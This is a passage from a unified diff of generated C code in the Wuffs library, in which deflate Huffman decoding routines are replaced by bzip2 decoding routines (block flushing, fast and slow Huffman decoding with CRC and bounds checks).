self->private_data.s_flush_slow.v_flush_prev; ++ v_block_checksum_have = self->private_data.s_flush_slow.v_block_checksum_have; ++ v_block_size = self->private_data.s_flush_slow.v_block_size; ++ v_curr = self->private_data.s_flush_slow.v_curr; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_flush_pointer = self->private_impl.f_flush_pointer; ++ v_flush_repeat_count = self->private_impl.f_flush_repeat_count; ++ v_flush_prev = self->private_impl.f_flush_prev; ++ v_block_checksum_have = self->private_impl.f_block_checksum_have; ++ v_block_size = self->private_impl.f_block_size; ++ while ((v_block_size > 0u) && ! (self->private_impl.p_flush_slow != 0)) { ++ if (v_flush_repeat_count < 4u) { ++ v_entry = self->private_data.f_bwt[v_flush_pointer]; ++ v_curr = ((uint8_t)(v_entry)); ++ v_flush_pointer = (v_entry >> 12u); ++ if (v_curr == v_flush_prev) { ++ v_flush_repeat_count += 1u; + } else { +- v_hlen = v_length; +- v_length = 0u; +- } +- v_hdist += v_hdist_adjustment; +- if (self->private_impl.f_history_index < v_hdist) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); +- goto exit; +- } +- wuffs_base__io_writer__limited_copy_u32_from_slice( +- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); +- if (v_length == 0u) { +- goto label__loop__continue; ++ v_flush_repeat_count = 1u; + } +- if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); +- goto exit; ++ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr))] ^ ((uint32_t)(v_block_checksum_have << 8u))); ++ self->private_data.s_flush_slow.scratch = v_curr; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; + } +- } +- if ((v_dist_minus_1 + 1u) >= 8u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } else if ((v_dist_minus_1 + 1u) == 1u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow.scratch)); ++ v_flush_prev = v_curr; ++ v_block_size -= 1u; + } else { +- wuffs_base__io_writer__limited_copy_u32_from_history_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ v_entry = self->private_data.f_bwt[v_flush_pointer]; ++ v_curr = ((uint8_t)(v_entry)); ++ v_flush_pointer = (v_entry >> 12u); ++ v_flush_repeat_count = ((uint32_t)(v_curr)); ++ while (v_flush_repeat_count > 0u) { ++ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev))] ^ ((uint32_t)(v_block_checksum_have << 8u))); ++ self->private_data.s_flush_slow.scratch = v_flush_prev; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; ++ } ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow.scratch)); ++ v_flush_repeat_count -= 1u; ++ } ++ v_flush_repeat_count = 0u; ++ v_flush_prev = v_curr; ++ v_block_size -= 1u; + } +- } while (0); +- } +- if (v_n_bits > 63u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); +- goto exit; + } +- } +- self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); +- self->private_impl.f_n_bits = v_n_bits; +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ self->private_impl.f_flush_pointer = v_flush_pointer; ++ self->private_impl.f_flush_repeat_count = v_flush_repeat_count; ++ self->private_impl.f_flush_prev = v_flush_prev; ++ self->private_impl.f_block_checksum_have = v_block_checksum_have; ++ if (v_block_size <= 900000u) { ++ self->private_impl.f_block_size = v_block_size; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_flush_slow = 0; + goto exit; + } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_flush_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_flush_slow.v_flush_pointer = v_flush_pointer; ++ self->private_data.s_flush_slow.v_flush_repeat_count = v_flush_repeat_count; ++ self->private_data.s_flush_slow.v_flush_prev = v_flush_prev; ++ self->private_data.s_flush_slow.v_block_checksum_have = v_block_checksum_have; ++ self->private_data.s_flush_slow.v_block_size = v_block_size; ++ self->private_data.s_flush_slow.v_curr = v_curr; ++ + goto exit; + exit: + if (a_dst && a_dst->data.ptr) { + a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } + + return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_bmi2 + +-// -------- func deflate.decoder.decode_huffman_fast32 ++// -------- func bzip2.decoder.decode_huffman_fast + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast32( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__decode_huffman_fast( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + + uint32_t v_bits = 0; + uint32_t v_n_bits = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint32_t v_lmask = 0; +- uint32_t v_dmask = 0; +- uint32_t v_redir_top = 0; +- uint32_t v_redir_mask = 0; +- uint32_t v_length = 0; +- uint32_t v_dist_minus_1 = 0; +- uint32_t v_hlen = 0; +- uint32_t v_hdist = 0; +- uint32_t v_hdist_adjustment = 0; ++ uint32_t v_block_size = 0; ++ uint8_t v_which = 0; ++ uint32_t v_ticks = 0; ++ uint32_t v_section = 0; ++ uint32_t v_run_shift = 0; ++ uint16_t v_table_entry = 0; ++ uint16_t v_child = 0; ++ uint32_t v_child_ff = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_output = 0; ++ uint32_t v_run = 0; ++ uint32_t v_mtft0 = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -35657,205 +35461,92 @@ wuffs_deflate__decoder__decode_huffman_fast32( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } + v_bits = self->private_impl.f_bits; + v_n_bits = self->private_impl.f_n_bits; +- v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); +- v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); +- if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { +- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); +- goto exit; +- } +- v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); +- label__loop__continue:; +- while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 12u)) { +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; ++ v_block_size = self->private_impl.f_block_size; ++ v_which = self->private_impl.f_decode_huffman_which; ++ v_ticks = self->private_impl.f_decode_huffman_ticks; ++ v_section = self->private_impl.f_decode_huffman_section; ++ v_run_shift = self->private_impl.f_decode_huffman_run_shift; ++ while (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { ++ if (v_ticks > 0u) { ++ v_ticks -= 1u; + } else { +- } +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- } else { +- } +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ v_ticks = 49u; ++ v_section += 1u; ++ if (v_section >= self->private_impl.f_num_sections) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); + goto exit; + } +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_length = (((v_table_entry >> 8u) & 255u) + 3u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- } else { +- } +- v_length = (((v_length + 253u + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } else { +- } +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- } else { ++ v_which = WUFFS_BZIP2__CLAMP_TO_5[((uint8_t)(self->private_data.f_huffman_selectors[(v_section & 32767u)] & 7u))]; + } +- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 28u) == 1u) { +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- } else { ++ v_bits |= (wuffs_base__peek_u32be__no_bounds_check(iop_a_src) >> v_n_bits); ++ iop_a_src += ((31u - v_n_bits) >> 3u); ++ v_n_bits |= 24u; ++ v_table_entry = self->private_data.f_huffman_tables[v_which][(v_bits >> 24u)]; ++ v_bits <<= ((uint16_t)(v_table_entry >> 12u)); ++ v_n_bits -= ((uint32_t)(((uint16_t)(v_table_entry >> 12u)))); ++ v_child = ((uint16_t)(v_table_entry & 1023u)); ++ while (v_child < 257u) { ++ v_child = self->private_data.f_huffman_trees[v_which][v_child][(v_bits >> 31u)]; ++ v_bits <<= 1u; ++ if (v_n_bits <= 0u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } else { ++ v_n_bits -= 1u; + } +- if ((v_table_entry >> 24u) != 64u) { +- if ((v_table_entry >> 24u) == 8u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ if (v_child < 768u) { ++ v_child_ff = ((uint32_t)(((uint16_t)(v_child & 255u)))); ++ v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); ++ self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); ++ self->private_data.f_letter_counts[v_output] += 1u; ++ self->private_data.f_bwt[v_block_size] = v_output; ++ if (v_block_size >= self->private_impl.f_max_incl_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); + goto exit; + } +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; ++ v_block_size += 1u; ++ v_run_shift = 0u; ++ continue; ++ } else if (v_child == 768u) { ++ self->private_impl.f_decode_huffman_finished = true; ++ break; + } +- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_n_bits < v_table_entry_n_bits) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; ++ if (v_run_shift >= 23u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ goto exit; + } +- v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- do { +- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { +- v_hlen = 0u; +- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); +- if (v_length > v_hdist) { +- v_length -= v_hdist; +- v_hlen = v_hdist; +- } else { +- v_hlen = v_length; +- v_length = 0u; +- } +- v_hdist += v_hdist_adjustment; +- if (self->private_impl.f_history_index < v_hdist) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); +- goto exit; +- } +- wuffs_base__io_writer__limited_copy_u32_from_slice( +- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); +- if (v_length == 0u) { +- goto label__loop__continue; +- } +- if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); +- goto exit; +- } +- } +- if ((v_dist_minus_1 + 1u) >= 8u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } else { +- wuffs_base__io_writer__limited_copy_u32_from_history_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } +- } while (0); +- } +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); ++ v_run = ((((uint32_t)(v_child)) & 3u) << v_run_shift); ++ v_run_shift += 1u; ++ v_i = v_block_size; ++ v_j = (v_run + v_block_size); ++ if (v_j > self->private_impl.f_max_incl_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); + goto exit; + } ++ v_block_size = v_j; ++ v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); ++ self->private_data.f_letter_counts[v_mtft0] += v_run; ++ while (v_i < v_j) { ++ self->private_data.f_bwt[v_i] = v_mtft0; ++ v_i += 1u; ++ } + } +- self->private_impl.f_bits = (v_bits & ((((uint32_t)(1u)) << v_n_bits) - 1u)); ++ self->private_impl.f_bits = v_bits; + self->private_impl.f_n_bits = v_n_bits; +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } ++ self->private_impl.f_block_size = v_block_size; ++ self->private_impl.f_decode_huffman_which = v_which; ++ self->private_impl.f_decode_huffman_ticks = v_ticks; ++ self->private_impl.f_decode_huffman_section = v_section; ++ self->private_impl.f_decode_huffman_run_shift = v_run_shift; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ ++ ok: + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -35863,52 +35554,25 @@ wuffs_deflate__decoder__decode_huffman_fast32( + return status; + } + +-// -------- func deflate.decoder.decode_huffman_fast64 ++// -------- func bzip2.decoder.decode_huffman_slow + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast64( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__decode_huffman_slow( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src) { +- return (*self->private_impl.choosy_decode_huffman_fast64)(self, a_dst, a_src); +-} ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint64_t v_lmask = 0; +- uint64_t v_dmask = 0; +- uint32_t v_redir_top = 0; +- uint32_t v_redir_mask = 0; +- uint32_t v_length = 0; +- uint32_t v_dist_minus_1 = 0; +- uint32_t v_hlen = 0; +- uint32_t v_hdist = 0; +- uint32_t v_hdist_adjustment = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_node_index = 0; ++ uint16_t v_child = 0; ++ uint32_t v_child_ff = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_output = 0; ++ uint32_t v_run = 0; ++ uint32_t v_mtft0 = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -35920,160 +35584,101 @@ wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- v_bits = ((uint64_t)(self->private_impl.f_bits)); +- v_n_bits = self->private_impl.f_n_bits; +- v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); +- v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); +- if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { +- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); +- goto exit; ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow; ++ if (coro_susp_point) { ++ v_node_index = self->private_data.s_decode_huffman_slow.v_node_index; + } +- v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); +- label__loop__continue:; +- while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { +- v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); +- iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while ( ! (self->private_impl.p_decode_huffman_slow != 0)) { ++ if (self->private_impl.f_decode_huffman_ticks > 0u) { ++ self->private_impl.f_decode_huffman_ticks -= 1u; + } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_length = (((v_table_entry >> 8u) & 255u) + 3u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 28u) == 1u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- if ((v_table_entry >> 24u) != 64u) { +- if ((v_table_entry >> 24u) == 8u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; ++ self->private_impl.f_decode_huffman_ticks = 49u; ++ self->private_impl.f_decode_huffman_section += 1u; ++ if (self->private_impl.f_decode_huffman_section >= self->private_impl.f_num_sections) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); ++ goto exit; ++ } ++ self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[((uint8_t)(self->private_data.f_huffman_selectors[(self->private_impl.f_decode_huffman_section & 32767u)] & 7u))]; + } +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & 